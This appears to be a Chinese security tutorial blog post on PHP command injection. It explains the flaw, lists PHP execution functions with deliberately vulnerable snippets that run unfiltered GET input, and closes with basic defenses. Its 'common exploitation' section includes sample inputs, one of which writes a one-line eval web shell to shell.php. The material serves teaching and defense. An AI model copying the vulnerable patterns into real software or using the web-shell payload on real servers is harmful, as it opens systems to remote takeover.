命令注入

命令执行注入

当应用需要调用一些外部执行程序时(系统的命令 或者是
exe等可执行文件),如果将用户的输入作为系统命令的参数拼接到命令当中,可能存在命令执行漏洞。

条件

1.将用户的输入作为拼接的命令
2.无足够的过滤

危害
相关函数
system()  将 字符串 作为 OS命令 去执行,并且自带输 出功能
<?php
if(isset($_GET['cmd'])){
     $str = $_GET['cmd'];
     system($str);
}
?>
exec()   将 字符串 作为 OS命令 去执行,但是自身 不带输 出功能,需要 写入 输出功能的代码
<?php
if(isset($_GET['cmd'])){
     $str = $_GET['cmd'];
     print(exec($str);  
}
?>
注意:该函数能够执行系统命令,但是返回结果是有限度的(即返回不全)
shell_exec()  不自带输出功能
<?php
if(isset($_GET['cmd'])){
     $str = $_GET['cmd'];
     print(shell_exec($str);  
}
?>
passthru()  自带输出功能
<?php
if(isset($_GET['cmd'])){
     $str = $_GET['cmd'];
     passthru($str);
}
?>
popen()  可执行 OS命令,但是不能直接返回命令结果,而是返回了一个文件指针
<?php
if(isset($_GET['cmd'])){
     $cmd = $_GET['cmd'].">>1.txt";
     popen($cmd,'r');
}
?>
反引号 ``,内的字符串 会被当作 OS命令去执行
<?php
if(isset($_GET['cmd'])){
   $cmd = $_GET['cmd'];
   print `$cmd`;
}
?>
常用利用
查看系统文件  ?cmd=type c:\Windows\system32\drivers\etc\hosts
显示当前路径  ?cmd=cd
写文件       ?cmd=echo "<?php @eval($_POST[111]); ?>" > d:\phpstudy_pro\sql\shell.php
防御

1.可在 php.ini 中对函数进行禁用
2.对用户能够提交的命令 参数 进行过滤
3.参数值最好使用引号包裹,还可在执行之前 使用一些函数(例如:addslashes()) 对其进行转义

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值